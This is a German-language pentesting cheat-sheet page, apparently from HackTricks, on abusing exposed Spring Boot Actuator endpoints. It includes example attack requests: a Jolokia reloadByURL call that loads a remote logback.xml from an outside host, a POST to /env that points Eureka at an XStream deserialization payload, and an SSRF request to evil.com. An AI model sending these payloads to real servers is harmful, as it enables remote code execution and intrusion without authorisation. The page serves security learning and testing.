# Spring Actuators {{#include ../../banners/hacktricks-training.md}} ## **Spring Auth Bypass**
**Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Ausnutzen von Spring Boot Actuators **Überprüfen Sie den Originalbeitrag von** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Wichtige Punkte:** - Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind nur `/health` und `/info` standardmäßig nicht sensibel, aber Entwickler deaktivieren oft diese Sicherheit. - Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen ermöglichen: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` und `/heapdump`. - In Spring Boot 1.x werden Actuators unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen. ### **Ausbeutungstechniken:** 1. **Remote Code Execution über '/jolokia'**: - Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia-Bibliothek, die HTTP-Zugriff auf MBeans ermöglicht. - Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL neu zu laden, was zu blindem XXE oder Remote Code Execution über gestaltete XML-Konfigurationen führen kann. - Beispiel für eine Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Konfigurationsänderung über '/env'**: - Wenn Spring Cloud-Bibliotheken vorhanden sind, ermöglicht der `/env` Endpunkt die Änderung von Umgebungsvariablen. - Eigenschaften können manipuliert werden, um Schwachstellen auszunutzen, wie die XStream-Deserialisierungsanfälligkeit im Eureka serviceURL. - Beispiel für eine Exploit-POST-Anfrage: ``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Andere nützliche Einstellungen**: - Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder Ändern von Datenbankverbindungszeichenfolgen. ### **Zusätzliche Informationen:** - Eine umfassende Liste der Standard-Actuators finden Sie [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - Der `/env` Endpunkt in Spring Boot 2.x verwendet das JSON-Format zur Modifikation von Eigenschaften, aber das allgemeine Konzept bleibt dasselbe. ### **Verwandte Themen:** 1. **Env + H2 RCE**: - Details zur Ausnutzung der Kombination von `/env` Endpunkt und H2-Datenbank finden Sie [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF auf Spring Boot durch falsche Pfadinterpretation**: - Die Handhabung von Matrixparametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden. - Beispiel für eine Exploit-Anfrage: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}}